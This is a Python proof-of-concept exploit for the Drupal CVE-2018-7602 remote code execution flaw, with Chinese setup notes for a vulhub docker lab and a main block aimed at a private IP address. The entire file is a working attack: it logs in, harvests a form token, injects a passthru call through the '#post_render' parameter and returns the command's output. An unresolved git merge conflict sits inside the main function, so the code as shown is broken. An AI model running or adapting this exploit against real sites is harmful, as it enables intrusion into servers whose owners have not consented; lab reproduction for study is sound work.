# coding:utf-8
import requests
from bs4 import BeautifulSoup
'''
git clone https://github.com/vulhub/vulhub.git
cd vulhub/drupal/CVE-2018-7602/
docker-compose build
docker-compose up -d 
docker-compose ps

访问ip:8080
一路安装，选择sqlite数据库,设置用户名drupal，密码drupal

docker-compose down
'''

class c2Class(object):
	def __init__(self):
		self.vulname = 'CVE-2018-7602'
		self.vulsystem= 'Drupal'
		self.vulversion = '7.x <= 7.58'
		self.refer= 'https://github.com/zhzyker/exphub/blob/master/drupal/cve-2018-7602_cmd.py'
		self.testisok=True

		self.username='drupal'
		self.password='drupal'
		self.function='passthru'
		self.cmd='id'

	def c2Func(self,target):
		status=0
		returnData=''
		url=target.strip('/')
		try:
			session,user_id=self.getUserId(url)
			form_token=self.getFromToken(session,url,user_id)
			cmd_result=self.attack(session,url,user_id,form_token)
<<<<<<< HEAD
			returnData='%s is bad.The vuln is cve-2018-7602.'\
			'The cmd [%s] execute result is  [%s]'%(url,self.cmd,cmd_result.strip())
=======
			returnData='%s is bad.The vuln is cve-2018-7602.The cmd [%s] execute result is  [%s]'%(url,self.cmd,cmd_result.strip())
>>>>>>> 0236c8ba63ed25c7b585a481d1d6e6081bd6132e
			status=1 
		except Exception as e:
			returnData=e
			# print(e)
		return status,returnData

	def getUserId(self,target):
		try:
			session = requests.Session()
			get_data = {'q':'user/login'}
			post_data = {'form_id':'user_login', 'name': self.username, 'pass' : self.password, 'op':'Log in'}
			session.post(target, params=get_data, data=post_data, verify=False)

			get_data = {'q':'user'}
			r = session.get(target, params=get_data, verify=False)
			soup = BeautifulSoup(r.text, "html.parser")
			user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')

			if ("?q=" in user_id):
				user_id = user_id.split("=")[1]
			return session,user_id
		except Exception as e:
			raise Exception('getUserId error')
	def getFromToken(self,session,target,user_id):
		get_data = {'q': user_id + '/cancel'}
		r = session.get(target, params=get_data, verify=False)
		soup = BeautifulSoup(r.text, "html.parser")
		form = soup.find('form', {'id': 'user-cancel-confirm-form'})
		form_token = form.find('input', {'name': 'form_token'}).get('value')
		if form_token:
			return form_token
		else:
			raise Exception('getFromToken error')

	def attack(self,session,target,user_id,form_token):
		get_data = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + self.function + '&q[%23type]=markup&q[%23markup]=' + self.cmd }
		post_data = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
		r = session.post(target, params=get_data, data=post_data, verify=False)
		soup = BeautifulSoup(r.text, "html.parser")
		form = soup.find('form', {'id': 'user-cancel-confirm-form'})
		form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
		if form_build_id:
			# print('[*] Poisoned form ID: ' + form_build_id)
			# print('[*] Triggering exploit to execute: ' + command)
			get_data = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
			post_data = {'form_build_id':form_build_id}
			r = session.post(target, params=get_data, data=post_data, verify=False)
			parsed_result = r.text.split('[{"command":"settings"')[0]
			if parsed_result:
				return parsed_result
			else:
				raise Exception('attack error')
if __name__ == '__main__':
	target='http://192.168.128.133:8081/'
	pocObj=c2Class()
	print(pocObj.c2Func(target))
